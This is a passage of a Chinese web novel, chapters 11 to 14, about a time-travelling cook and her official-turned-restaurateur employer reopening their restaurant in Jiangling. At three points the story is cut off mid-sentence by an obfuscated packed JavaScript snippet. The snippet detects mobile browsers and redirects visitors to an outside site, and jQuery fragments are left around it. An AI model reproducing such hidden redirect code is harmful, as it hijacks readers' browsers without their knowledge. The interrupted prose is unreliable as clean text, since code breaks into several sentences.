经历过无数大场面的张清寒,居然不禁后退了半步,倒不是因为他怕了,而是确实心虚。为官多年的皇城司使大人,最大的毛病便是有良心,总有些夜半时刻张清寒的良心会隐隐作痛。 “。。。等酒楼生意好了,会涨回来的。”张清寒一本正经地承诺道。 其余伙计瞧着这架势,纷纷默默退到一旁,扑朔迷离的飞眼在场上乱飞。 “啥子情况,六水不是脾气很好吗?怎么突然就炸了?”杜少仲挤眉弄眼地无声问道。 “那都是假象,我感觉六水要吃了东家。”马陶陶默默眨眼补刀。 “你们说他俩再吵下去,回锅肉会不会凉了啊?”乔四方游离场外,直勾勾地看着那锅肉,心想再吵也别倒肉啊。 而程六水听完张东家这番承诺,竟然没忍住笑了,“等生意好了涨回来?东家你知道什么叫画饼吗?” “画饼?”张清寒疑惑道,还偷偷用手指摸了摸铁锅,还好不烫了,应该不会烫坏新买的木头桌面吧? “等生意好了等世道好了等挣大钱了,等明年等后年等下辈子。这些就是画饼,明明吃不到的饼,却摆在桌子上成了唯一的一道菜,我们就指着这道菜熬啊熬,最后熬到饿死了,饼也没吃到。”程六水梗着脖子说道,白皙面庞上有着不正常的红晕,激动地恨不得揪张清寒头发。 张清寒眉头一皱,这么说来“画饼”一词形容得还真是惟妙惟肖,他这么多年来不也吃了不少“饼”吗?自己不仅最后没吃到饼,居然还倒欠黑心帝后五万两,天老爷啊找谁说理去啊。 一时间众人皆沉默了,程六水见张清寒脸色很是不好看,一会儿红一会儿青的这会儿都差点黑了,心里也在打鼓。 是不是话说重了啊?东家人好像也没那么坏,给自己买新衣服还有好吃好喝的,比她之前的那些老板强多了。而且张东家脸皮比自己薄多了,不会今天就这么被自己气死了吧。 “那个。。。”程六水决定还是试图挽回一下局面,要不现在拿个盘子把回锅肉装上?东家是个讲究人,吃肉得用盘子不能用锅。 还没等程六水说出自己的馊主意,张清寒就开口了,“你说得对,是我考虑不周了,我一直想着开源节流,却忘了这酒楼最重要的就是你们。酒楼烧毁了但你们不离不弃,每天风吹日晒地干活就为了让酒楼重新开张,我不应为了这些蝇头小利而伤了大家的心,这是我这个东家的不是。” 本是清冽寡言的秉性,偏偏说出了这番热忱暖心的话,震得程六水一时不知所措,没有推诿没有敷衍甚至连一丝生气都没有,就这么坦坦荡荡地认错了。 似松似柏更似竹,竟是难得的君子品性。 “东家我也有错的,我方才太激动了,既然遇到难关我们便一起闯过去,总会有办法的。”程六水脸更红了,这回是尴尬羞臊的。 “好,先吃饭吧。”张清寒浅笑道,招呼着躲在一旁的三人过来落座。 接着又转头道,“那六水,这回的回锅肉可以用盘子装了吗?”那笑意更添了几分。 “用用用!”程六水端着铁锅赶紧跑了,真是可恶啊,这恶劣的东家居然还调侃自己。 傍晚时分,落日余晖透过明窗洒进了酒楼,暖洋洋地照着五个人以及桌上令人食指大动的菜色。 乔四方依旧大快朵颐着,狼吞虎咽地好似有人和他抢一样,而一旁的杜少仲这些日子黑了不少,褪去了些书生气,倒很是精干。 坐在中间的马陶陶给程六水夹了几筷子韭黄鸡蛋,在程六水耳边小声蛐蛐道,“六水你刚才好厉害,东家都被你吓住了。” “没有没有,激动了。”程六水一个劲地低头吃饭,恨不得埋饭里面,一激动骂了东家,这得拍多少马屁才能拍回来啊。 “那你下次能更激动一点吗?把他气得不能下床开酒楼了,我就能去找我哥了。”马陶陶笑得如阳光般灿烂。 “???”程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405778|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六水忽然觉得张东家方才说得有句话不对,或许不是大家不离不弃,而是有的人走不了更甚的是还要把他这个东家干掉呢。 张清寒不改面上浅笑,耳力极好的他决定下回见到马陶陶的哥哥,狠狠地敲诈一笔,毕竟远在北戎的马某人很有钱。 正在茫茫无际草原赶羊的马某人浑身一冷,瑟缩地打着寒颤,而他身后尊贵无比的北戎长公主担忧地走上前,为他披上了披风。 “清寒,我能不能酿一点点名贵的酒啊。”杜少仲犹犹豫豫地放下筷子说道。 “可以,但你要花钱自己买酿酒的原料,毕竟你还记得酒楼是怎么烧毁的吧?”张清寒慢条斯理地说道,“而且这回你再尝试什么新的酒种,离酒楼远一些。” 杜少仲自知理亏,但还是给张清寒夹了一筷子姜丝,“多吃点补身体。” “好兄弟一起补。”张清寒又夹了一半放到了杜少仲的碗里,两个人你来我往间电光火石好不吓人。 “他们俩是什么关系啊?”程六水津津有味地围观着,接连吃了几颗炸得嘎嘣脆的花生米。 “至交好友吧,他们俩在京城就很熟了。”马陶陶并不怎么关心这二人的事,她吃了一口筋头巴脑的酱牛肉,哇怎么会这么好吃,卤香味十足又鲜又香的,再多吃几块吧! 没几下盘子里酱牛肉就下去大半了,程六水若有所思着,烧房子的好友?满是书卷气的杜少仲来酿酒,隐世高人般的张东家来做生意,一心盼着东家下不了床的跑堂马陶陶,还有一拳能打死人的账房先生。 这帮人是怎么聚在一起的,程六水属实没想明白,她也不愿再细想,如今更为关键的是怎么才能保住自己一月二两的月钱,酒楼的生意必须蒸蒸日上,不然就算好心的张东家这月不降月钱,下月也得降。 众人各怀心思地吃完了这顿饭,乔四方手脚麻利地收拾起来,杜少仲还在掰扯着自己得出多少钱,才能酿酒。 而程六水悄无声息地不见了,最先发现的是马陶陶,她正翻着新买的话本子不撒手,看到兴起之处要找六水一同品鉴,却不想整个酒楼都不见她的踪影。 “六水六水。”马陶陶小声地跑到了程六水的房门敲门,仍旧一无所获,面上虽不显焦急却心里泛起了嘀咕,六水不会是怕得罪了东家,直接逃了吧。 脑海中忽然闪过张清寒在京中如阎罗煞星的模样,无论是多大的官,见了这人都得绕着走,生怕触其霉头。 确实是很吓人没错了,六水要是跑了说不定是好事,马陶陶收敛心神装作什么都没发生的样子,揣着话本子故意抬头不看人,慢悠悠飘进了隔壁房间,迅速锁好了房门。 两耳不闻窗外事,一心只读话本子。 张清寒静静地站在屋顶上,清楚地看着虚张声势做贼心虚的马陶陶,大抵是明白了些什么。 “跑了?她不会的。”许久后,张清寒喃喃自语道。 12. 第 12 章 夜黑风高,岸边垂柳飒飒作响,水中倒映着不断晃动的漆黑影子,沿街叫卖的摊贩声音渐行渐远,江陵外城的风不如内城那般热闹喧哗,水波荡漾间只剩一片寂静。 狗狗祟祟的六水背着个细长包裹,脚步轻快地来到了这里,熟门熟路地坐在石凳上,她轻轻一甩背上的杆子就掉了下来,弯曲的钩子上是掺了蜜糖的饵料。 长长的鱼线就那么甩了出去,她还向不远隐秘处的另一位大哥敬了个礼,大哥颔首着,这是他们钓鱼佬间彼此惺惺相惜的默契。 微风吹散了程六水一天的疲惫,无所事事地坐在岸边,眺望平静的河面出神着。思绪穿越了时空,如宇宙大爆炸般炸开,噼里啪啦的碎片不成章法地落下。 程六水自认并不是个聪明人,也断没有成为人中龙凤的可能,她只是想活下去,活到七老八十了还能悠悠闲闲地来河边钓鱼。 但无论是哪个世界,活下去都不是一件容易的事,起码对她来说是这样的。 为了实现这个人生目标,程六水总是要被迫地勤劳起来,不甚灵光的大脑也要咔嚓作响地运行着,比如现在她就不得不回忆着,穿越前那些饭店是怎么赚得盆满钵满的。 “想什么呢?”清冽的声音从耳后传来,张清寒长身而立,注视着偷摸跑来垂钓的程六水。 张清寒有一种莫名的笃信,程六水不会离开酒楼,起码现在不会离开。大厦倾倒时她不会走,百废待兴时她也不会走,但若是真有一日宾客盈门日进斗金,他就说不准了。 程六水的坚韧中有着他看不懂的东西,但他隐隐约约察觉到能够真正留住她的,是比金银财宝更为重要的东西。 “东家你怎么神出鬼没的。”程六水诧异地回过了头,只见一张剑眉星目的俊俏脸蛋,顿时心情更好了起来。 “来看你钓鱼啊,这里风景不错。”张清寒倒是轻车熟路地坐到了一旁。 “我看你不是来看我钓鱼的,你是来把我的鱼吓跑的,小气鬼。”程六水撇着嘴嘟嘟囔囔道,还不服气地斜晲了张清寒一眼。 “你啊就这张嘴,得理不饶人无理抢三分,说我是小气鬼,你明明是个促狭鬼。”张清寒笑道。 程六水“哼”了一声,转过头不愿去搭理这位不请自来的东家,谁下班了还给老板好脸色啊,真是不把牛马当人。 可偏偏有的人,你越不理他他越上杆子,不一会儿就又听旁边这人开口道,“真生气了?” 生气?程六水在晦暗处微微皱眉,没有生气啊,她只不过是来河边躺平的,为什么会生气? “这是我第一次做生意,以前没做过,我从前可以让人完全听命于我,甚至不必想对方是不是愿意,但现在不同了。”张清寒沉沉地说道,他没有看向程六水,只是盯着那仿佛有漩涡的水流。 程六水倒是诧异地看向了张清寒,久久才回道,“我没做过生意,但我看过许多人做生意,不如东家和我做个生意?” 黑夜中微弱的月光照在了程六水狡黠的脸上,无声引诱着张清寒说了句“好。” 一番窃窃私语的密谈后,张东家的眼睛亮得跟灯泡一样,他真想撬开程六水的脑袋瓜看看,怎么想出了这么些新奇的点子。 “说好了,要是赚钱的话,我可是要拿提成的。”程六水立着眼睛道。 “放心,我从不食言。”张清寒笑道。 两人提溜着鱼竿鱼篓就往回走,只不过今天晚上的鱼篓里一条鱼都没有,但程六水完全不在意,因为最大的一条“金”鱼已经在她身边了。 程六水装作不经意地瞥了眼张清寒,他刚才说什么来着,从前可以让人完全听命于他?这样的话,她只在电视剧里看见过,能做到的不是当兵的就是当官的,不管是哪个都是拥有绝对权力的人。 她在内心嗤笑了下,果然啊这些穿越文里的套路都是一样的,身居高位却隐于闹市的男主,而她则是男主身后的小跟班NPC,就是不知什么时候女主会粉墨登场呢。 程六水已经默默做好了背景板的准备,甚至想将五香花生和水煮毛豆作为每天的必备小菜,这样可以随时随地在女主出场时吃瓜。 “你又在想什么呢?”张清寒被程六水这么一瞥,瞥得浑身不舒服,总感觉有人在背后蛐蛐自己。 “我当然在想将酒楼做大做强了!”程六水宛如被踩了尾巴的猫,赶忙掩耳盗铃道,肯定是要做大做强的,不然总不能是穷酸男主吧,哪个作者会这么写啊。 月光下,一男一女的影子被拉得很长,长到交叠在一起,抬头却发现彼此间始终有着不可逾越的距离。 翌日,一串串红通通的鞭炮轰隆隆地作响,大红灯笼高高挂起,十全酒楼正式开张了。 这条街上只有一两家小食肆,多卖些馄饨粥饼之类的,要想吃顿像模像样的酒菜还真是没有,街坊们得穿过小桥再拐上几个弯去到城西吃。 邻里邻居都来瞧上了热闹,七嘴八舌地围着酒楼门口一圈。 “这酒楼换老板了?瞅着比之前热闹。”绸缎庄的赵掌柜摸着下巴道。 “哪儿啊听说没换,还是之前那个不着家的老板,听说是在外地做生意赔了,这才想起江陵还有这么个酒楼。”当铺的高老板接茬道。 “那不成吧,这酒楼之前总有些个舞刀弄枪的人进出,没事就打起来了,咱小老百姓可不敢进啊。”钱员外凑热闹道。 “没事没事,有俺们巡逻各位怕什么打架,绝对没有的事。”李捕头带着两个小捕快就过来了,拍着胸脯打包票,他也不敢不打啊,方知府提前打过招呼的。 “哎呦有李捕头这句话,这酒楼瞧着更不错了。”茶肆的庄老板娘笑道。 这鞭炮还没放完,那舞龙舞狮的班子就跳上来了,这回的班子技艺精湛是特意从外地请来的,那龙戏海飞天,上天入地无所不能般,而舞狮惟妙惟肖霸气十足,引得众人连连拍手叫好。 一时间当真是锣鼓喧天鞭炮齐鸣,好不热闹啊。 就在场上气氛临近最高潮,张东家登场了,他一改往日的沉默寡言,中气十足地说道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405779|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谢诸位邻里邻居来捧小店这个人场,十全酒楼今日重新开张,开业大酬宾接连三天半价优惠,酒水畅饮。买不了吃亏买不了上当,只买您的称心如意。” 这声音都能传到隔壁街去了,不断有人朝着十全酒楼涌来,有便宜不占是傻子,甭管饭菜好不好吃,总要来试试的。 一恍神的功夫,食客们就乌央乌央地往酒楼里进啊,忙得马陶陶脚不沾地,整个人走起路来虎虎生风,半点富家小姐的架势都没有,只像头生产队快累死的驴。 程六水在后厨也是不可开交,菜都是备好的,几个灶台不停地来回转,那杜少仲也来帮忙了,他那酒水单子也是不老少。 在程六水的提议下,十全酒楼不仅卖茶卖酒还卖饮子,杜少仲忙得脚打后脑勺,饮子的配方记得倒是好,就是手脚跟不上,经常不听使唤。 一盘盘菜唰唰地送上前厅,赵掌柜尝了一筷子便尝出了门道,“这厨子定是新招的,北方口,做得菜色香味俱全,不错啊不错。” “我瞧着这道凉拌茄子皮蛋甚好,就是不知加的是什么辣椒,软烂入味不像是直接放进去拌的。”庄老板娘一向畏热,尤其是盛夏总是不思饮食,可吃着这道凉菜却咸辣开胃,再陪着冰镇过的酸梅汤别提多畅快了。 “这辣椒唤作擂椒,是小店的特色,您要是喜欢可单独为您打包一份擂椒免费带走。”张清寒笑盈盈道。 庄老板娘瞪大了眼睛都不说话了,哎呦喂方才离远了没瞅见,这酒楼东家生得真是不错,这鼻子是鼻子眼睛是眼睛的。 “还能免费带走?”钱员外稀奇道。 “夏季暑热,这等小菜带走有何不可呢?”张清寒笑得愈发良善,他谨记程六水说过的,笑使劲笑,让他这张脸发挥出最大的作用。 “好好好给我打包一份。”庄老板娘笑得都成一朵花了。 “好的,小店开业酬宾正在做活动,若您办理本店的会员卡,即可在五折的基础上再打九折。”张清寒咧着嘴道。 “何为会员卡?”高老板问道。 “办理会员卡后,小店会登记在册,往后佳节节气来小店免费送上时令小菜,酒水九折菜品八折,还能多次参与本店的拼手气活动。”张清寒解释道。 “哎呀这可不错啊,你们这会员卡有什么条件吗?”高老板接着问道。 “无甚条件,您只要留下名字住址即可。”张清寒道。 “那啥叫拼手气活动啊?”庄老板娘被这些个新奇词汇弄得快眼花缭乱的了。 张清寒手指一指,就看见那柜台处大转盘上都是奖品,三白酒酱牛肉甚至还有憨态可掬的玩偶,精美绝伦的发簪。 一旁的小孩拽着爹娘的衣衫不撒手,哭着喊着还要再来一次大转盘游戏,他要玩偶!要玩偶! “我办我办!”一时间大堂上此起彼伏地声音响起,各个都像捡着大便宜了似的,生怕过了这村没这店了。 而乔四方正在柜台后算盘算得叮当响,赚了赚了,白花花的银子我的我的都是我的! 13. 第 13 章 暖风摇曳,红烛微亮,昏黄的烛火混合着清香微苦的气味,一室的不可言说。 “啊那里那里,不要好痛,你会不会呀?”柔软的女声如小狸猫般磨人,那声音中仿佛带了狸猫爪子般的锋利。 “嗯嗯嗯就只是这里,再重一点。”程六水捧着个圆圆脸,坐在太师椅上好似个大爷般。 “好。”张清寒一身绝世武功,用他能瞬间捏死豹子的大手,小心翼翼地揉捏着自家厨子的肩膀。 一旁的马陶陶直接趴在桌子上睡着了,脸压得通红,鼻翼间呼吸倒是均匀,都快打起呼噜了。在她趴在的桌子上,除了她一颗小小的脑袋,就是一吊两吊三吊。。。很多吊钱。 对面坐着的乔四方在算总账,不知疲倦地摆弄着算盘和银钱,但总是轻拿轻放,生怕一不留神就吵醒大小姐了,马大小姐力气不大,但打人可挺疼啊。 杜少仲正在不远处的柜台前,笔墨纸砚一一备齐,大笔一挥行云流水地写写画画着,神情极为专注认真,在看那砚台旁已经有了厚厚的一摞了。 “少仲不累吗?”程六水歪过头看着酒楼的酿酒先生,正在那里批量生产字画。 “他累,但少仲是个酒痴,不让他酿酒,就是要了他的命,所以他得赚钱买酿酒的材料。”张清寒手不敢停,也不敢大声说话,只能像个小媳妇一样轻声道。 “可是酒不都是用大米糯米或是麦子做的吗?他要酿什么酒,这么费钱?”程六水挠着脑袋瓜没想明白。 只见杜少仲颠颠地跑过来,“清寒你看,这是我画的墨葡萄图,这张是醉卧石榴图,还有这张是许总兵家小姐要的仕女图,你来品鉴品鉴是不是都不错,我这画工没退步吧?” 张清寒这才停下手,接过了那幅墨葡萄图,目光在枝叶处打量了一番,又仔细瞧了瞧这垂落下来的成串葡萄,不禁点了点头道,“你这图风格疏阔,本不是在写实却得了葡萄的精髓,水墨之间足见大写意,确实不错。” “东家你还懂字画呀?”程六水也凑过脑袋去看,她是看不太懂国画的,除了小学美术课学过几幅名家大作,其余是一窍不通,更不巧的是小学学的都是割耳朵大师的画,与眼前这副墨葡萄图有着天壤之别。 “只会看,不会画,比不得少仲是从小的功底。”张清寒谦虚道。 “少仲没想到你这么厉害啊,那你再给我看看那幅仕女图呗~”程六水点了点头,绕过了张清寒直接跑到杜少仲跟前,大夸特夸了起来。 俗话说三人行必有我师,程六水想的很是简单,既然有现成的老师,那就是要多学习的。说不定十年二十年之后,她也能在这些文人墨客的字画中品出一二呢。 马屁精!张清寒动了动弯曲的手指,心中暗暗咒骂道,这丫头就是个祸害。 “好美啊,这女子一颦一笑皆是风情啊。”程六水一时间竟看呆了,画中女子孤身立于繁花锦簇的园中,明明是春暖花开的好时光,可那女子却在眼波流转间微蹙弯眉,当真是我见犹怜。 “可不,那许总兵家的小姐要同旁人相看,这不就需要一幅仕女图了,辗转间我接了这活计,这单子可不少挣,足够我买两颗小白参呢。”杜少仲被夸得腰板挺得直直的,沉浸在自己创作的艺术与唾手可得的小白参,都快要不知天地为何物了。 “你见过总兵家的小姐?”程六水愈发好奇了,穿越这么久还没见过这些个达官显贵呢,真有这么好看吗? “没见过啊。”杜少仲大大咧咧道,随手喝了碗茶。 “没见过,你是怎么画出来的?”程六水懵懵地问道。 “瞎画啊,不妨事的只要画得美,小姐绝对酬金翻倍。”杜少仲不以为意道。 程六水看向杜少仲的目光愈发复杂,手无缚鸡之力的书生转眼间就变成了奸诈画师,也不知道最后许总兵家小姐能否相看顺利啊。 “那你买小白参做什么?”程六水紧接着问道。 还不等杜少仲接着回答,张清寒便插话道,“他要做菊花白酒。” “是了是了,还是清寒你懂啊,如今盛夏再过一月便要入秋,待到秋日取白菊,白参,枸杞为主料,再佐以沉香,丁香,砂仁等几十种药材为辅,取汾酒浸泡过滤,来年秋日便可喝上了,入口甘甜微苦十分滋补。”杜少仲比比划划着,越说越上劲。 “我大概懂了,所以你光画这几幅图还不够,那几十种药材还没着落?”程六水十分直白地戳破了他的痛楚。 “是这样没错。。。”杜少仲立时垂头丧气了起来,而他身后的张清寒倒不知为何地有些幸灾乐祸。 “我帮你啊,你多画几幅挂在大堂里,如今咱这酒楼来的都是商贾平民,你这字画一挂就是筑巢引凤,那多少文人墨客就都闻着味来了,你再把你什么菊花酒桂花酒葵花酒全弄上,附庸风雅就是这么来的。”程六水信誓旦旦道。 “确实是个不错的主意,那些书生最爱这些了,我再找方之峻要幅题字,准保令他们趋之若鹜。”张清寒眼睛一转,满意地点了点头,程六水又不是祸害了,这回是个聪明鬼了。 “方之峻是谁?”程六水问道。 “江陵知府。”张清寒道。 “。。。。”程六水决定不参与这个讨论了,和他们这些天龙人真是说不上话,真烦! “啪嗒”一声,算盘珠子竟然掉落地遍地都是,乔四方双眼赤红着举着被他不小心掰断的算盘,还有崭新的账本道,“赚了赚了,赚了三成呢我终于不用做假账了!” 众人皆被这突然之举震得说不出话来,这怎么开张一天,就要疯一个呢。 忽然一块板砖袭来,小脸睡得红扑扑的马陶陶,手起砖落直接朝着乔四方的砸去,“吵死了。” 马陶陶接着又翻了个边接着睡去,被板砖砸了个正着的乔四方,安详地躺在砖地上,嘴角还挂着一丝微笑,只不过短时间是说不出话来了。 日子如流水般过去,开张五日,十全酒楼在江陵立住脚跟,往来宾客络绎不绝。 开张十日,方知府泼墨题字,无数学子奔赴酒楼只为一睹墨宝,却被墙上随意挂起的夏日慈荷图引去了目光,纷纷驻留品鉴,楼上的雅间日日座无虚席。 开张二十日,往来客人里出现了不少年轻女郎的身影,据说是那许总兵家的小姐仕女图着实叫人满意,大户人家的女儿们纷纷想来瞧瞧这么个忽然就在江陵名声大噪的画师是何许人也。 开张三十日,十全酒楼歇业一天,原因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405780|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :到了发月钱的日子了。 那是风和日丽的一天,以程六水带头的四位伙计,腰板笔直地坐在了张东家对面,虎视眈眈地看向了东家口袋里的银子。 “你们怎么凶神恶煞的。。。”张清寒已经是不止一次觉着,自己这个东家是越来越没有威严了,前天马陶陶在扫地,直接用扫帚要把他扫走。 昨天程六水炒了一盘苦瓜摆在他面前,真苦啊!以这丫头的厨艺能做得这么苦,一定是故意的。今天乔四方趁自己不注意,五更天就起来在门口挂上了歇业一天的告示。 “东家,我们这个月应该赚了不少钱吧?”程六水双手抱胸,眯着眼睛审视道。 “是赚了不少,所以今天我们发月钱,都有都有。”张清寒赶紧把口袋里的钱分给大家,生怕这帮伙计又弄什么幺蛾子。 程六水手指动了动,掂量着手里的月钱,算上提成有四两银子耶!加上她上个月月钱,还有那保命八文钱,如今算下来就是六两八文钱,她的衣衫只有两套,如今快要入秋了,得再买两套秋衣鞋袜。 除了必要秋衣,程六水有些眼馋地看着马陶陶鬓间的发钗,她来了这里两个月了,每日都只是用发绳随意编起,好想试试发钗哦,金玉的肯定买不起,那不如就买个银的吧。 又想了想银钗要是有些饰样,定然价格就上去了,前几日她悄悄去夜市上看过,就是简简单单的弦月银簪就要二两银子呢,都顶得上三套秋衣了。 “六水六水。”马陶陶瞧见六水拿了月钱就在那发愣,赶紧晃了晃她,今日可还有正经事要与东家说呢。 现如今他们几个伙计都很是信服六水,跟着六水就能有月钱拿,跟着东家只会降月钱哼。 兜里有钱就财迷的程六水被叫了半天才反应过来,收敛起那副见钱就乐的傻样说道,“咳咳东家,你不觉得我们酒楼还少些什么吗?” “少什么?”张清寒压制住自己想上去捂住程六水嘴的冲动,不断深呼吸保持着冷静。 “少人啊,青天大老爷啊真是干不过来了,你睁开眼睛看看吧。那后厨的碗筷都堆成山了,少仲是白天卖酒卖饮子晚上画画,四方大哥在那天天大转盘,转得眼冒金星,一边算账一边冒金星。更别提陶陶了,那腿都瘦了一圈,成天跑来跑去,这要是算她这些天跑的距离,都能跑京城去了。” 程六水站起来慷慨激昂道,大义凛然的精神鼓舞着其余的伙计,只不过她的手仍旧紧紧握住月钱嘿嘿。 张清寒本来以为这六水来势汹汹,又要拿铁锅砸他,不曾想只是提出了如此合情合理的要求,不禁怔愣住了。 程六水见张东家不说话,还以为他不同意,直接从柜台里抽出了一杆鲜红的大旗,大旗上赫然写着“打倒黑心老板,还打工人一片天。” 程六水用那不甚熟练的三角猫功夫,呼呼摇着大旗,装模作样地耍了几下。 那旗杆还不是普通的杆子,而是一把尖刀长枪改的,这把长枪正是张清寒收藏的兵器之一,几年前留在了酒楼,没想到自己的枪现下都要捅自己了。 想到这,张清寒实在是没忍住地放声大笑了起来,他不是故意的,但任谁见了小狸花猫披着虎皮,举着四只粉爪子打拳都会想笑的。 14. 第 14 章 任何一场闹剧都会以极其幼稚的方式收场,不管当事人愿意不愿意。 那是程六水从没有见过的场景,如仙似幻的一张脸上出现了尘世间最为放荡不羁的笑容,泛红眼角险些都要流出泪珠子。 什么意思?这是嘲笑?是装傻?还是疯了? 直到她辨别出了那张脸上似曾相识的揶揄与憋笑,偏偏还怎么都憋不住时,程六水脑子里的那根弦断了,这根弦叫做理智。 士可杀不可辱,一种极端的意气上头了,她放下了沉重的长枪,将那顶头的旗子扯了下来,随即以迅雷不及掩耳之势冲向了张清寒。 速度之快是在场诸人没有反应过来的,等他们再次恢复视野的时候,张东家唇红齿白的嘴唇已然被掰开,塞进了一团“打工人”旗帜。 “说你还笑不笑了!”程六水揪着张清寒的耳朵,恶狠狠问道。 “唔唔唔。”张清寒瞪起了无辜的大眼睛,还眨巴了两下,任由着程六水的摆弄,好似随风飘摇的杨柳。 “叫你笑我叫你笑。”程六水戳起了张清寒身上的笑穴,手速之快堪比她抡大勺了。 这回张清寒忍不住了,一个劲撒丫子就是跑啊,在场诸人这才反应过来,也都跟着追了上去。 只见张东家身手敏捷,一个箭步如飞就越过了大堂里的桌椅板凳,朝着后院跑去。而程六水不甘示弱,腿脚虽慢却手里拿着不少家伙事,什么瓜子花生还有核桃仁的,一股脑砸去。 整个酒楼说大不大,说小不小,几个人你追我赶的,从前厅到后院,从一楼到二楼,最后连屋顶都没放过。 不是你撞我一下,就是我撞你一下,杜少仲就在奔跑时不小心撞上了门框,那眼睛没过一会儿就变成熊猫眼了。 马陶陶这些天锻炼出来了,腿脚十分麻利,她非常愿意做六水的最佳帮手,拿起她的大扫帚就开始秋风扫落叶,绊了张清寒好几下。 乔四方主打一个劝架,他个头大总是很碍事的挡在张清寒前面,结果挡住张清寒的逃跑路线了,不幸地被程六水堵在后厨一顿收拾。 “不笑了我不笑了,小姑奶奶你放过我吧。”大乾朝现任皇城司使,武功绝世不说当世第一,也能排前三,就这样在程六水手下笑到脱力,衣衫凌乱发髻被扯下了一大截,半瘫坐在地上求饶。 程六水也没好到哪去,这酒楼地方还是小,等有钱了再开个大的,她这不是腿磕了一块就是手别着了。 但输人不输阵的她,勉强坐在后厨的板凳上,气喘吁吁道,“这回知道谁厉害了吧?” “你厉害你厉害,招人现在就招,你说招什么样的就招什么样的。”张清寒乖顺说道,但也只是嘴上乖顺,他的心里还是痒痒的,总想让程六水再舞刀弄枪一下,实在是有意思到心坎里了。 “废话当然听我的了,你快去收拾大堂,今天我们几个伙计放假,可没说东家放假。”程六水将张清寒拽了起来,还好心地给他掸了掸灰,这人天天净穿素净色,没一会儿就脏了。 “你们放假去哪啊?”张清寒老老实实地等着程六水给他掸好灰。 “当然是去买东西了,好不容易发月钱了。”程六水理所当然说道。 “不带我吗?” “为什么带你?你今天又没领月钱。” “我是老板不需要领月钱。” “对啊,那老板为什么要和伙计一起去逛街买东西?” “你们孤立我。” “我没有!” “你做贼心虚了,说话那么大声。” “你这人倒打一耙,我看你还是欠收拾!”程六水作势又要弹张清寒的额头,结果张清寒也不躲,明晃晃地任由她弹。 “不管你了走了走了,我们回来前收拾好。”最终以程六水落荒而逃告终,她捂着自己扑通扑通的心,一边暗自唾弃自己的没出息被美色所误,一边还是感叹这人长得还真是怪好看的。 出门时朝阳还在云梯上攀爬,等几个人大包小裹终于回来的时候,已然月黑风高,伸手不见五指了。 十全酒楼高高的屋檐下挂着两个大红灯笼,幽暗昏黄的火光透过纱绢,似有似无的血腥气无声地蔓延开来。 门口砖块却干净得很,应是有人特意清扫过的。周遭一切静悄悄的,连鸦雀振翅高飞的声音都消失了,隔壁几间铺子早就落了锁,厚重生锈的锁眼从始至终注视着这诡异的酒楼。 乌云盖顶,弦月吞噬。明纸糊的窗户隐隐约约透出了一缕烛光,摇摇欲坠得吓人。 程六水挎着她心爱的小竹篮,还贴心地在竹柄上缠了月白色的棉布,拿起来轻便又舒服,竹篮里是白日里刚做好的新衣,一套嫩黄襦裙,懵懂可爱得很,另一套则是轻便的短打,天青蓝哟哟的,最适合干活或者打架。 吱呀吱呀的竹篮声音在寂静的街道上格外刺耳,最先察觉不对的是跟在最后面的乔四方。 他迅速地越过了几人,走在了最前头,大块头走路居然悄无声息,立起的眼睛聚精会神地观察着周围,直到乔四方抬头看到了青瓦上的人。 密密麻麻穿着黑色夜行衣的人,他们伫立在酒楼新修好的屋顶上,手里头刀枪剑戟十八般兵器拿了个遍。 程六水顺着乔四方的目光一瞧!她一瞬间就捂住了自己恨不得叫破喉咙的嘴巴,武侠大片!□□血拼!果然是没白穿越啊,哪都有新鲜事。 但为什么要站在屋顶上?这青瓦片还是有点贵的,要三文钱一片的,这踩坏了可怎么是好,也不敢找人家赔啊。 还有这小楼的新房梁,是东家杀价打骨折买的,万一质量不行怎么办?踩塌了可还得重新盖房子,绝对不行! 程六水迅速地转了一圈头,寻找敢于把□□大哥们赶去别的地方血拼的勇士,只看到杜少仲和马陶陶直接视而不见,一个在小心照料自己新买的小白参,另一个困得不行,勉强睁开的眼睛全是对床的渴望。 ???原来这就是古代土著吗?泰山崩于前面不改色,真是不比不知道一比吓一跳啊。 视线再一转移,四方大哥怎么有些奇怪,似笑非笑要哭不哭,脑袋跟个拨浪鼓一样转来转去。 “你认识他们?”程六水凑近极为轻声问道。 还不等乔四方回答,就听见头顶上传来极其阴冷地一声“谁?” 那屋顶上的黑衣人居然还有弓箭手,明晃晃地将弓箭对准了挎着小篮子的程六水。 电光火石间,程六水在想是自己跑得快,还是箭飞得快,这是个简单不过的问题,她颤颤巍巍地开口道,“我是个厨子,你们饿吗?” 